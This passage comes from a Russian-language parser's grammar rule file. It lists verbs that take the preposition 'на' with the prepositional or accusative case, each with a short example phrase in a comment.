rus_verbs:искать{}, // искать на открытом пространстве rus_verbs:иметься{}, // иметься на складе rus_verbs:клясться{}, // клясться на Коране rus_verbs:прервать{}, // прервать на полуслове rus_verbs:играть{}, // играть на чувствах rus_verbs:спуститься{}, // спуститься на парашюте rus_verbs:понадобиться{}, // понадобиться на экзамене rus_verbs:служить{}, // служить на флоте rus_verbs:подобрать{}, // подобрать на улице rus_verbs:появляться{}, // появляться на сцене rus_verbs:селить{}, // селить на чердаке rus_verbs:поймать{}, // поймать на границе rus_verbs:увидать{}, // увидать на опушке rus_verbs:подождать{}, // подождать на перроне rus_verbs:прочесть{}, // прочесть на полях rus_verbs:тонуть{}, // тонуть на мелководье rus_verbs:ощущать{}, // ощущать на коже rus_verbs:отметить{}, // отметить на полях rus_verbs:показывать{}, // показывать на графике rus_verbs:разговаривать{}, // разговаривать на иностранном языке rus_verbs:прочитать{}, // прочитать на сайте rus_verbs:попробовать{}, // попробовать на практике rus_verbs:замечать{}, // замечать на коже грязь rus_verbs:нести{}, // нести на плечах rus_verbs:носить{}, // носить на голове rus_verbs:гореть{}, // гореть на работе rus_verbs:застыть{}, // застыть на пороге инфинитив:жениться{ вид:соверш }, // жениться на королеве глагол:жениться{ вид:соверш }, прилагательное:женатый{}, прилагательное:женившийся{}, rus_verbs:спрятать{}, // спрятать на чердаке rus_verbs:развернуться{}, // развернуться на плацу rus_verbs:строить{}, // строить на песке rus_verbs:устроить{}, // устроить на даче тестральный вечер rus_verbs:настаивать{}, // настаивать на выполнении приказа rus_verbs:находить{}, // находить на берегу rus_verbs:мелькнуть{}, // мелькнуть на экране rus_verbs:очутиться{}, // очутиться на опушке леса инфинитив:использовать{вид:соверш}, // использовать на работе глагол:использовать{вид:соверш}, инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, прилагательное:использованный{}, прилагательное:использующий{}, прилагательное:использовавший{}, rus_verbs:лететь{}, // лететь на воздушном шаре rus_verbs:смеяться{}, // смеяться на сцене rus_verbs:ездить{}, // ездить на мопеде rus_verbs:заснуть{}, // заснуть на диване rus_verbs:застать{}, // застать на рабочем месте rus_verbs:очнуться{}, // очнуться на больничной койке rus_verbs:разглядеть{}, // разглядеть на фотографии rus_verbs:обойти{}, // обойти на вираже rus_verbs:удержаться{}, // удержаться на троне rus_verbs:побывать{}, // побывать на другой планете rus_verbs:заняться{}, // заняться на выходных делом rus_verbs:вянуть{}, // вянуть на солнце rus_verbs:постоять{}, // постоять на голове rus_verbs:приобрести{}, // приобрести на распродаже rus_verbs:попасться{}, // попасться на краже rus_verbs:продолжаться{}, // продолжаться на земле rus_verbs:открывать{}, // открывать на арене rus_verbs:создавать{}, // создавать на сцене rus_verbs:обсуждать{}, // обсуждать на кухне rus_verbs:отыскать{}, // отыскать на полу rus_verbs:уснуть{}, // уснуть на диване rus_verbs:задержаться{}, // задержаться на работе rus_verbs:курить{}, // курить на свежем воздухе rus_verbs:приподняться{}, // приподняться на локтях rus_verbs:установить{}, // установить на вершине rus_verbs:запереть{}, // запереть на балконе rus_verbs:синеть{}, // синеть на воздухе rus_verbs:убивать{}, // убивать на нейтральной территории rus_verbs:скрываться{}, // скрываться на даче rus_verbs:родить{}, // родить на полу rus_verbs:описать{}, // описать на страницах книги rus_verbs:перехватить{}, // перехватить на подлете rus_verbs:скрывать{}, // скрывать на даче rus_verbs:сменить{}, // сменить на посту rus_verbs:мелькать{}, // мелькать на экране rus_verbs:присутствовать{}, // присутствовать на мероприятии rus_verbs:украсть{}, // украсть на рынке rus_verbs:победить{}, // победить на ринге rus_verbs:упомянуть{}, // упомянуть на страницах романа rus_verbs:плыть{}, // плыть на старой лодке rus_verbs:повиснуть{}, // повиснуть на перекладине rus_verbs:нащупать{}, // нащупать на дне rus_verbs:затихнуть{}, // затихнуть на дне rus_verbs:построить{}, // построить на участке rus_verbs:поддерживать{}, // поддерживать на поверхности rus_verbs:заработать{}, // заработать на бирже rus_verbs:провалиться{}, // провалиться на экзамене rus_verbs:сохранить{}, // сохранить на диске rus_verbs:располагаться{}, // располагаться на софе rus_verbs:поклясться{}, // поклясться на библии rus_verbs:сражаться{}, // сражаться на арене rus_verbs:спускаться{}, // спускаться на дельтаплане rus_verbs:уничтожить{}, // уничтожить на подступах rus_verbs:изучить{}, // изучить на практике rus_verbs:рождаться{}, // рождаться на праздниках rus_verbs:прилететь{}, // прилететь на самолете rus_verbs:догнать{}, // догнать на перекрестке rus_verbs:изобразить{}, // изобразить на бумаге rus_verbs:проехать{}, // проехать на тракторе rus_verbs:приготовить{}, // приготовить на масле rus_verbs:споткнуться{}, // споткнуться на полу rus_verbs:собирать{}, // собирать на берегу rus_verbs:отсутствовать{}, // отсутствовать на тусовке rus_verbs:приземлиться{}, // приземлиться на военном аэродроме rus_verbs:сыграть{}, // сыграть на трубе rus_verbs:прятаться{}, // прятаться на даче rus_verbs:спрятаться{}, // спрятаться на чердаке rus_verbs:провозгласить{}, // провозгласить на митинге rus_verbs:изложить{}, // изложить на бумаге rus_verbs:использоваться{}, // использоваться на практике rus_verbs:замяться{}, // замяться на входе rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота rus_verbs:сверкнуть{}, // сверкнуть на солнце rus_verbs:сверкать{}, // сверкать на свету rus_verbs:задержать{}, // задержать на митинге rus_verbs:осечься{}, // осечься на первом слове rus_verbs:хранить{}, // хранить на банковском счету rus_verbs:шутить{}, // шутить на уроке rus_verbs:кружиться{}, // кружиться на балу rus_verbs:чертить{}, // чертить на доске rus_verbs:отразиться{}, // отразиться на оценках rus_verbs:греть{}, // греть на солнце rus_verbs:рассуждать{}, // рассуждать на страницах своей книги rus_verbs:окружать{}, // окружать на острове rus_verbs:сопровождать{}, // сопровождать на охоте rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте rus_verbs:содержаться{}, // содержаться на приусадебном участке rus_verbs:поселиться{}, // поселиться на даче rus_verbs:запеть{}, // запеть на сцене инфинитив:провозить{ вид:несоверш }, // провозить на теле глагол:провозить{ вид:несоверш }, прилагательное:провезенный{}, прилагательное:провозивший{вид:несоверш}, прилагательное:провозящий{вид:несоверш}, деепричастие:провозя{}, rus_verbs:мочить{}, // мочить на месте rus_verbs:преследовать{}, // преследовать на территории другого штата rus_verbs:пролететь{}, // пролетел на параплане rus_verbs:драться{}, // драться на рапирах rus_verbs:просидеть{}, // просидеть на занятиях rus_verbs:убираться{}, // убираться на балконе rus_verbs:таять{}, // таять на солнце rus_verbs:проверять{}, // проверять на полиграфе rus_verbs:убеждать{}, // убеждать на примере rus_verbs:скользить{}, // скользить на льду rus_verbs:приобретать{}, // приобретать на распродаже rus_verbs:летать{}, // летать на метле rus_verbs:толпиться{}, // толпиться на перроне rus_verbs:плавать{}, // плавать на надувном матрасе rus_verbs:описывать{}, // описывать на страницах повести rus_verbs:пробыть{}, // пробыть на солнце слишком долго rus_verbs:застрять{}, // застрять на верхнем этаже rus_verbs:метаться{}, // метаться на полу rus_verbs:сжечь{}, // сжечь на костре rus_verbs:расслабиться{}, // расслабиться на кушетке rus_verbs:услыхать{}, // услыхать на рынке rus_verbs:удержать{}, // удержать на прежнем уровне rus_verbs:образоваться{}, // образоваться на дне rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа rus_verbs:уезжать{}, // уезжать на попутке rus_verbs:похоронить{}, // похоронить на закрытом кладбище rus_verbs:настоять{}, // настоять на пересмотре оценок rus_verbs:растянуться{}, // растянуться на горячем песке rus_verbs:покрутить{}, // покрутить на шесте rus_verbs:обнаружиться{}, // обнаружиться на болоте rus_verbs:гулять{}, // гулять на свадьбе rus_verbs:утонуть{}, // утонуть на курорте rus_verbs:храниться{}, // храниться на депозите rus_verbs:танцевать{}, // танцевать на свадьбе rus_verbs:трудиться{}, // трудиться на заводе инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати глагол:засыпать{переходность:непереходный вид:несоверш}, деепричастие:засыпая{переходность:непереходный вид:несоверш}, прилагательное:засыпавший{переходность:непереходный вид:несоверш}, прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках rus_verbs:сушить{}, // сушить на открытом воздухе rus_verbs:зашевелиться{}, // зашевелиться на чердаке rus_verbs:обдумывать{}, // обдумывать на досуге rus_verbs:докладывать{}, // докладывать на научной конференции rus_verbs:промелькнуть{}, // промелькнуть на экране // прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории прилагательное:написанный{}, // слово, написанное на заборе rus_verbs:умещаться{}, // компьютер, умещающийся на ладони rus_verbs:открыть{}, // книга, открытая на последней странице rus_verbs:спать{}, // йог, спящий на гвоздях rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте rus_verbs:отобразиться{}, // удивление, отобразившееся на лице rus_verbs:увидеть{}, // на полу я увидел чьи-то следы rus_verbs:видеть{}, // на полу я вижу чьи-то следы rus_verbs:оставить{}, // Мел оставил на доске белый след. rus_verbs:оставлять{}, // Мел оставляет на доске белый след. rus_verbs:встречаться{}, // встречаться на лекциях rus_verbs:познакомиться{}, // познакомиться на занятиях rus_verbs:устроиться{}, // она устроилась на кровати rus_verbs:ложиться{}, // ложись на полу rus_verbs:останавливаться{}, // останавливаться на достигнутом rus_verbs:спотыкаться{}, // спотыкаться на ровном месте rus_verbs:распечатать{}, // распечатать на бумаге rus_verbs:распечатывать{}, // распечатывать на бумаге rus_verbs:просмотреть{}, // просмотреть на бумаге rus_verbs:закрепляться{}, // закрепляться на плацдарме rus_verbs:погреться{}, // погреться на солнышке rus_verbs:мешать{}, // Он мешал краски на палитре. rus_verbs:занять{}, // Он занял первое место на соревнованиях. rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках. деепричастие:женившись{ вид:соверш }, rus_verbs:везти{}, // Он везёт песок на тачке. прилагательное:казненный{}, // Он был казнён на электрическом стуле. rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче. rus_verbs:принести{}, // Официантка принесла нам обед на подносе. rus_verbs:переписать{}, // Перепишите эту рукопись на машинке. rus_verbs:идти{}, // Поезд идёт на малой скорости. rus_verbs:петь{}, // птички поют на рассвете rus_verbs:смотреть{}, // Смотри на обороте. rus_verbs:прибрать{}, // прибрать на столе rus_verbs:прибраться{}, // прибраться на столе rus_verbs:растить{}, // растить капусту на огороде rus_verbs:тащить{}, // тащить ребенка на руках rus_verbs:убирать{}, // убирать на столе rus_verbs:простыть{}, // Я простыл на морозе. rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе. rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках. rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге. rus_verbs:вскочить{}, // У него вскочил прыщ на носу. rus_verbs:свить{}, // У нас на балконе воробей свил гнездо. rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица. rus_verbs:восходить{}, // Солнце восходит на востоке. rus_verbs:блестеть{}, // Снег блестит на солнце. rus_verbs:побить{}, // Рысак побил всех лошадей на скачках. rus_verbs:литься{}, // Реки крови льются на войне. rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах. rus_verbs:клубиться{}, // Пыль клубится на дороге. инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке. // глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути // инфинитив:находиться{вид:несоверш}, rus_verbs:жить{}, // Было интересно жить на курорте. rus_verbs:повидать{}, // Он много повидал на своём веку. rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду. rus_verbs:расположиться{}, // Оба села расположились на берегу реки. rus_verbs:объясняться{}, // Они объясняются на иностранном языке. rus_verbs:прощаться{}, // Они долго прощались на вокзале. rus_verbs:работать{}, // Она работает на ткацкой фабрике. rus_verbs:купить{}, // Она купила молоко на рынке. rus_verbs:поместиться{}, // Все книги поместились на полке. глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике. rus_verbs:пожить{}, // Недолго она пожила на свете. rus_verbs:краснеть{}, // Небо краснеет на закате. rus_verbs:бывать{}, // На Волге бывает сильное волнение. rus_verbs:ехать{}, // Мы туда ехали на автобусе. rus_verbs:провести{}, // Мы провели месяц на даче. rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице. rus_verbs:расти{}, // Арбузы растут теперь не только на юге. ГЛ_ИНФ(сидеть), // три больших пса сидят на траве ГЛ_ИНФ(сесть), // три больших пса сели на траву ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль ГЛ_ИНФ(повезти), // я повезу тебя на машине ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси ГЛ_ИНФ(пить), // пить на кухне чай ГЛ_ИНФ(найти), // найти на острове ГЛ_ИНФ(быть), // на этих костях есть следы зубов ГЛ_ИНФ(высадиться), // помощники высадились на острове ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове ГЛ_ИНФ(случиться), // это случилось на опушке леса ГЛ_ИНФ(продать), ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: смотреть на youtube fact гл_предл { if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} } then return true } // локатив fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} } then return true } #endregion ПРЕДЛОЖНЫЙ #region ВИНИТЕЛЬНЫЙ // НА+винительный падеж: // ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ #region VerbList wordentry_set Гл_НА_Вин= { rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили. rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку. rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай. rus_verbs:умножить{}, // Умножьте это количество примерно на 10. //rus_verbs:умножать{}, rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу. rus_verbs:откатывать{}, rus_verbs:доносить{}, // Вот и побежали на вас доносить. rus_verbs:донести{}, rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали. безлич_глагол:хватит{}, // - На одну атаку хватит. rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты. rus_verbs:поскупиться{}, // Не поскупись на похвалы! rus_verbs:подыматься{}, rus_verbs:транспортироваться{}, rus_verbs:бахнуть{}, // Бахнуть стакан на пол rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ) rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ) rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ) rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ) rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ) rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ) rus_verbs:БРЫЗГАТЬ{}, rus_verbs:БРЫЗНУТЬ{}, rus_verbs:КАПНУТЬ{}, rus_verbs:КАПАТЬ{}, rus_verbs:ПОКАПАТЬ{}, rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ) rus_verbs:ОХОТИТЬСЯ{}, // rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ) rus_verbs:НАРВАТЬСЯ{}, // rus_verbs:НАТОЛКНУТЬСЯ{}, // rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ) прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ) rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ) rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ) rus_verbs:СТАЛКИВАТЬ{}, // rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ) rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ) rus_verbs:ПЕРЕБРОСИТЬ{}, // rus_verbs:НАБРАСЫВАТЬ{}, // rus_verbs:НАБРОСИТЬ{}, // rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ) rus_verbs:СВОРАЧИВАТЬ{}, // // rus_verbs:ПОВЕРНУТЬ{}, // rus_verbs:ПОВОРАЧИВАТЬ{}, // rus_verbs:наорать{}, rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ) rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ) rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:перегонять{}, rus_verbs:выгонять{}, rus_verbs:выгнать{}, rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ) rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ) rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ) rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ) rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций rus_verbs:назначаться{}, // назначаться на пост rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин) rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА) // rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА) rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА) rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин) rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА) rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА) rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин) rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА) rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА) прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА) rus_verbs:посыпаться{}, // на Нину посыпались снежинки инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод. глагол:нарезаться{ вид:несоверш }, rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу rus_verbs:показать{}, // Вадим показал на Колю rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА) rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на) rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА) rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА) rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на) rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА) rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА) rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на) rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на) rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на) rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на) rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на) rus_verbs:верить{}, // верить людям на слово (верить на слово) rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру. rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору. rus_verbs:пасть{}, // Жребий пал на меня. rus_verbs:ездить{}, // Вчера мы ездили на оперу. rus_verbs:влезть{}, // Мальчик влез на дерево. rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу. rus_verbs:разбиться{}, // окно разбилось на мелкие осколки rus_verbs:бежать{}, // я бегу на урок rus_verbs:сбегаться{}, // сбегаться на происшествие rus_verbs:присылать{}, // присылать на испытание rus_verbs:надавить{}, // надавить на педать rus_verbs:внести{}, // внести законопроект на рассмотрение rus_verbs:вносить{}, // вносить законопроект на рассмотрение rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек. rus_verbs:оглядываться{}, // оглядываться на девушек rus_verbs:расходиться{}, // расходиться на отдых rus_verbs:поскакать{}, // поскакать на службу rus_verbs:прыгать{}, // прыгать на сцену rus_verbs:приглашать{}, // приглашать на обед rus_verbs:рваться{}, // Кусок ткани рвется на части rus_verbs:понестись{}, // понестись на волю rus_verbs:распространяться{}, // распространяться на всех жителей штата инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, деепричастие:просыпавшись{}, деепричастие:просыпаясь{}, rus_verbs:заехать{}, // заехать на пандус rus_verbs:разобрать{}, // разобрать на составляющие rus_verbs:опускаться{}, // опускаться на колени rus_verbs:переехать{}, // переехать на конспиративную квартиру rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов rus_verbs:поместить{}, // поместить на поднос rus_verbs:отходить{}, // отходить на подготовленные позиции rus_verbs:сыпаться{}, // сыпаться на плечи rus_verbs:отвезти{}, // отвезти на занятия rus_verbs:накинуть{}, // накинуть на плечи rus_verbs:отлететь{}, // отлететь на пол rus_verbs:закинуть{}, // закинуть на чердак rus_verbs:зашипеть{}, // зашипеть на собаку rus_verbs:прогреметь{}, // прогреметь на всю страну rus_verbs:повалить{}, // повалить на стол rus_verbs:опереть{}, // опереть на фундамент rus_verbs:забросить{}, // забросить на антресоль rus_verbs:подействовать{}, // подействовать на материал rus_verbs:разделять{}, // разделять на части rus_verbs:прикрикнуть{}, // прикрикнуть на детей rus_verbs:разложить{}, // разложить на множители rus_verbs:провожать{}, // провожать на работу rus_verbs:катить{}, // катить на стройку rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью rus_verbs:сохранять{}, // сохранять на память rus_verbs:злиться{}, // злиться на друга rus_verbs:оборачиваться{}, // оборачиваться на свист rus_verbs:сползти{}, // сползти на землю rus_verbs:записывать{}, // записывать на ленту rus_verbs:загнать{}, // загнать на дерево rus_verbs:забормотать{}, // забормотать на ухо rus_verbs:протиснуться{}, // протиснуться на самый край rus_verbs:заторопиться{}, // заторопиться на вручение премии rus_verbs:гаркнуть{}, // гаркнуть на шалунов rus_verbs:навалиться{}, // навалиться на виновника всей толпой rus_verbs:проскользнуть{}, // проскользнуть на крышу дома rus_verbs:подтянуть{}, // подтянуть на палубу rus_verbs:скатиться{}, // скатиться на двойки rus_verbs:давить{}, // давить на жалость rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства rus_verbs:замахнуться{}, // замахнуться на святое rus_verbs:заменить{}, // заменить на свежую салфетку rus_verbs:свалить{}, // свалить на землю rus_verbs:стекать{}, // стекать на оголенные провода rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов rus_verbs:развалиться{}, // развалиться на части rus_verbs:сердиться{}, // сердиться на товарища rus_verbs:обронить{}, // обронить на пол rus_verbs:подсесть{}, // подсесть на наркоту rus_verbs:реагировать{}, // реагировать на импульсы rus_verbs:отпускать{}, // отпускать на волю rus_verbs:прогнать{}, // прогнать на рабочее место rus_verbs:ложить{}, // ложить на стол rus_verbs:рвать{}, // рвать на части rus_verbs:разлететься{}, // разлететься на кусочки rus_verbs:превышать{}, // превышать на существенную величину rus_verbs:сбиться{}, // сбиться на рысь rus_verbs:пристроиться{}, // пристроиться на хорошую работу rus_verbs:удрать{}, // удрать на пастбище rus_verbs:толкать{}, // толкать на преступление rus_verbs:посматривать{}, // посматривать на экран rus_verbs:набирать{}, // набирать на судно rus_verbs:отступать{}, // отступать на дерево rus_verbs:подуть{}, // подуть на молоко rus_verbs:плеснуть{}, // плеснуть на голову rus_verbs:соскользнуть{}, // соскользнуть на землю rus_verbs:затаить{}, // затаить на кого-то обиду rus_verbs:обижаться{}, // обижаться на Колю rus_verbs:смахнуть{}, // смахнуть на пол rus_verbs:застегнуть{}, // застегнуть на все пуговицы rus_verbs:спускать{}, // спускать на землю rus_verbs:греметь{}, // греметь на всю округу rus_verbs:скосить{}, // скосить на соседа глаз rus_verbs:отважиться{}, // отважиться на прыжок rus_verbs:литься{}, // литься на землю rus_verbs:порвать{}, // порвать на тряпки rus_verbs:проследовать{}, // проследовать на сцену rus_verbs:надевать{}, // надевать на голову rus_verbs:проскочить{}, // проскочить на красный свет rus_verbs:прилечь{}, // прилечь на диванчик rus_verbs:разделиться{}, // разделиться на небольшие группы rus_verbs:завыть{}, // завыть на луну rus_verbs:переносить{}, // переносить на другую машину rus_verbs:наговорить{}, // наговорить на сотню рублей rus_verbs:намекать{}, // намекать на новые обстоятельства rus_verbs:нападать{}, // нападать на охранников rus_verbs:убегать{}, // убегать на другое место rus_verbs:тратить{}, // тратить на развлечения rus_verbs:присаживаться{}, // присаживаться на корточки rus_verbs:переместиться{}, // переместиться на вторую линию rus_verbs:завалиться{}, // завалиться на диван rus_verbs:удалиться{}, // удалиться на покой rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов rus_verbs:обрушить{}, // обрушить на голову rus_verbs:резать{}, // резать на части rus_verbs:умчаться{}, // умчаться на юг rus_verbs:навернуться{}, // навернуться на камень rus_verbs:примчаться{}, // примчаться на матч rus_verbs:издавать{}, // издавать на собственные средства rus_verbs:переключить{}, // переключить на другой язык rus_verbs:отправлять{}, // отправлять на пенсию rus_verbs:залечь{}, // залечь на дно rus_verbs:установиться{}, // установиться на диск rus_verbs:направлять{}, // направлять на дополнительное обследование rus_verbs:разрезать{}, // разрезать на части rus_verbs:оскалиться{}, // оскалиться на прохожего rus_verbs:рычать{}, // рычать на пьяных rus_verbs:погружаться{}, // погружаться на дно rus_verbs:опираться{}, // опираться на костыли rus_verbs:поторопиться{}, // поторопиться на учебу rus_verbs:сдвинуться{}, // сдвинуться на сантиметр rus_verbs:увеличить{}, // увеличить на процент rus_verbs:опускать{}, // опускать на землю rus_verbs:созвать{}, // созвать на митинг rus_verbs:делить{}, // делить на части rus_verbs:пробиться{}, // пробиться на заключительную часть rus_verbs:простираться{}, // простираться на много миль rus_verbs:забить{}, // забить на учебу rus_verbs:переложить{}, // переложить на чужие плечи rus_verbs:грохнуться{}, // грохнуться на землю rus_verbs:прорваться{}, // прорваться на сцену rus_verbs:разлить{}, // разлить 